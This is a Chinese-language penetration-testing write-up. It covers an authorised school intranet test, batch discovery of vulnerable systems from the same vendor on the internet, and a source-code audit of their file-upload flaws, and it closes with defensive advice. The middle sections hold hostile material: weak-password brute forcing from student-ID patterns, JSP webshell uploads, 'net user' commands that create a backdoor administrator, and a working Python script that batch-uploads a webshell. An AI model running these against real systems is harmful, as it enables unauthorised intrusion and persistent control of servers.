一次从内网到外网,黑盒到白盒的批量挖洞经历
字数 1716 2025-08-06 01:23:31

从内网到外网、黑盒到白盒的批量漏洞挖掘实战教程

前言

本教程详细记录了一次从内网渗透到外网扩展、从黑盒测试到白盒审计的完整漏洞挖掘过程。适合有一定基础的渗透测试学习者参考,但请注意所有测试必须获得合法授权。

内网渗透阶段

1. 授权与信息收集

  • 首先获取学校信息中心的渗透测试授权
  • 确定目标网段:10.x.x.0/24(基于辅助运维获得的知识)
  • 使用工具:Goby进行存活IP和端口扫描

2. 漏洞扫描与识别

  • 使用WebAliveScan工具批量扫描存活IP:
    • 获取网站标题
    • 进行Web指纹识别
    • 执行基础目录爆破
    • 工具地址:https://github.com/broken5/WebAliveScan

3. 目标选择与攻击

  • 优先选择:
    • 带有登录界面的系统
    • 目录扫描发现敏感目录的系统
  • 发现xx教学平台存在漏洞:
    • 无验证码的登录界面
    • 根据学号规律爆破(如2018xx 123456)
    • 成功获取弱口令:2018xx/123456

4. 权限提升

  • 常规路径:xxx → 控制面板 → 上传头像 → Getshell
  • 使用多种JSP Webshell测试,最终成功:
    • JSP Webshell仓库:https://github.com/threedr3am/JSP-Webshells
  • 直接获得administrator权限,无需额外提权

外网批量挖掘

1. 目标扩展

  • 通过内网系统发现"技术支持:xx公司"
  • 使用FOFA搜索关键词:"xxx有限公司"扩展目标

2. 学号收集与爆破

  • 通过Google语法收集目标学校学号信息
  • 常见学号规律:
    • 20010077(入学时间+报到位次)
    • 20180310105(入校年数+专业+班级+序号)
    • 2018117001(入学年+1本科+专业代号+序号)

3. 未授权文件上传漏洞利用

  • 发现多个系统存在未授权文件上传漏洞
  • 技术要点:
    • 修改Burp Suite中的HOST头为目标地址
    • 直接上传图片马(可修改为jsp后缀)
  • 成功获取Webshell

4. 权限维持

  • 通过Webshell添加用户:
    net user mstlab mstlab /add
    net localgroup administrators mstlab /add
    
  • 在服务器桌面发现敏感信息:测试账号和默认密码

5. 横向扩展

  • 利用获取的凭证测试该公司其他系统
  • 发现多个系统存在相同漏洞模式

6. 老版本FCKeditor漏洞

  • 部分系统使用老版本FCKeditor
  • 路径:/xxx/FCKeditor/editor/xxx/jsp/upload.jsp
  • 可上传哥斯拉Webshell

漏洞利用自动化

批量利用脚本

import requests

# 读取webshell文件
file = open('shell.txt', 'r', encoding='utf-8')
shell = file.read()

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}
cookies = {"JSESSIONID": "4F0ADEADB70AD18922C8C436837A5A3D"}

# 输入目标
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")

# 定义上传目录
upload_url = url + "/xxx?action=xx"
files = {'file': ("shell.jsp", shell, "image/png")}

# POST数据
upload_data = {
    "start": "forum_update_set",
    "forum_update_set": "updatacord",
    "forum_nick": "11",
    "forum_signature": " ",
    "forum_pic_2": " ",
}

# 上传
upload_res = requests.post(upload_url, headers=headers, cookies=cookies, data=upload_data, files=files)

# 解析返回路径
path = upload_res.text
path = path[path.find('data')+4:path.rfind('jsp')]

# 组合完整URL
shell_url = url + "/dta" + path + "jsp?cmd=whoami"

# 输出结果
print('shell is here:' + shell_url)

白盒审计阶段

1. 源码获取

  • 常见源码位置:
    • Tomcat的webapps目录
    • Tomcat/conf/Catalina/localhost/下的配置文件
    • 自定义工程路径(如abc.xml中配置)

2. 代码审计

  • 查看web.xml分析全局配置和路由
  • 重点关注Filter类(如QDKFilte)
  • 反编译JAR包(使用IDEA的"Java Bytecode Decompiler"插件)

3. 文件上传漏洞分析

  • 第一个文件上传漏洞:

    • 通过web.xml定位上传处理类
    • 直接使用getFileExtendName()获取文件后缀
    • 未做任何过滤直接拼接保存路径
  • 第二个文件上传漏洞:

    • 路径:/xxx/FCKeditor/editor/xxx/jsp/upload.jsp
    • 同样直接获取后缀名拼接,无黑白名单过滤

4. 漏洞函数分析

// 直接获取文件后缀的函数
getFileExtendName(var13) {
    // 无任何过滤逻辑
    // 直接返回文件后缀
}

总结与建议

渗透测试流程总结

  1. 合法授权 → 2. 信息收集 → 3. 漏洞扫描 → 4. 漏洞验证 → 5. 权限获取 → 6. 横向扩展 → 7. 代码审计

防御建议

  1. 对所有上传功能实施严格的白名单过滤
  2. 对学号等敏感信息实施更安全的认证机制
  3. 及时更新老旧组件(如FCKeditor)
  4. 实施最小权限原则
  5. 敏感信息不应明文存储在服务器上

学习建议

  1. 从授权内网环境开始练习
  2. 掌握常见工具链(Goby、Burp Suite等)
  3. 学习基础开发知识有助于代码审计
  4. 关注漏洞原理而不仅是利用方法
  5. 参与合法漏洞奖励计划积累经验

本教程展示了从基础信息收集到高级代码审计的完整渗透测试流程,强调了理解漏洞原理的重要性,而不仅仅是利用已知漏洞。

从内网到外网、黑盒到白盒的批量漏洞挖掘实战教程 前言 本教程详细记录了一次从内网渗透到外网扩展、从黑盒测试到白盒审计的完整漏洞挖掘过程。适合有一定基础的渗透测试学习者参考,但请注意所有测试必须获得合法授权。 内网渗透阶段 1. 授权与信息收集 首先获取学校信息中心的渗透测试授权 确定目标网段:10.x.x.0/24(基于辅助运维获得的知识) 使用工具:Goby进行存活IP和端口扫描 2. 漏洞扫描与识别 使用WebAliveScan工具批量扫描存活IP: 获取网站标题 进行Web指纹识别 执行基础目录爆破 工具地址:https://github.com/broken5/WebAliveScan 3. 目标选择与攻击 优先选择: 带有登录界面的系统 目录扫描发现敏感目录的系统 发现xx教学平台存在漏洞: 无验证码的登录界面 根据学号规律爆破(如2018xx 123456) 成功获取弱口令:2018xx/123456 4. 权限提升 常规路径:xxx → 控制面板 → 上传头像 → Getshell 使用多种JSP Webshell测试,最终成功: JSP Webshell仓库:https://github.com/threedr3am/JSP-Webshells 直接获得administrator权限,无需额外提权 外网批量挖掘 1. 目标扩展 通过内网系统发现"技术支持:xx公司" 使用FOFA搜索关键词:"xxx有限公司"扩展目标 2. 学号收集与爆破 通过Google语法收集目标学校学号信息 常见学号规律: 20010077(入学时间+报到位次) 20180310105(入校年数+专业+班级+序号) 2018117001(入学年+1本科+专业代号+序号) 3. 未授权文件上传漏洞利用 发现多个系统存在未授权文件上传漏洞 技术要点: 修改Burp Suite中的HOST头为目标地址 直接上传图片马(可修改为jsp后缀) 成功获取Webshell 4. 权限维持 通过Webshell添加用户: 在服务器桌面发现敏感信息:测试账号和默认密码 5. 横向扩展 利用获取的凭证测试该公司其他系统 发现多个系统存在相同漏洞模式 6. 老版本FCKeditor漏洞 部分系统使用老版本FCKeditor 路径: /xxx/FCKeditor/editor/xxx/jsp/upload.jsp 可上传哥斯拉Webshell 漏洞利用自动化 批量利用脚本 白盒审计阶段 1. 源码获取 常见源码位置: Tomcat的webapps目录 Tomcat/conf/Catalina/localhost/下的配置文件 自定义工程路径(如abc.xml中配置) 2. 代码审计 查看web.xml分析全局配置和路由 重点关注Filter类(如QDKFilte) 反编译JAR包(使用IDEA的"Java Bytecode Decompiler"插件) 3. 文件上传漏洞分析 第一个文件上传漏洞: 通过web.xml定位上传处理类 直接使用getFileExtendName()获取文件后缀 未做任何过滤直接拼接保存路径 第二个文件上传漏洞: 路径: /xxx/FCKeditor/editor/xxx/jsp/upload.jsp 同样直接获取后缀名拼接,无黑白名单过滤 4. 漏洞函数分析 总结与建议 渗透测试流程总结 合法授权 → 2. 信息收集 → 3. 漏洞扫描 → 4. 漏洞验证 → 5. 权限获取 → 6. 横向扩展 → 7. 代码审计 防御建议 对所有上传功能实施严格的白名单过滤 对学号等敏感信息实施更安全的认证机制 及时更新老旧组件(如FCKeditor) 实施最小权限原则 敏感信息不应明文存储在服务器上 学习建议 从授权内网环境开始练习 掌握常见工具链(Goby、Burp Suite等) 学习基础开发知识有助于代码审计 关注漏洞原理而不仅是利用方法 参与合法漏洞奖励计划积累经验 本教程展示了从基础信息收集到高级代码审计的完整渗透测试流程,强调了理解漏洞原理的重要性,而不仅仅是利用已知漏洞。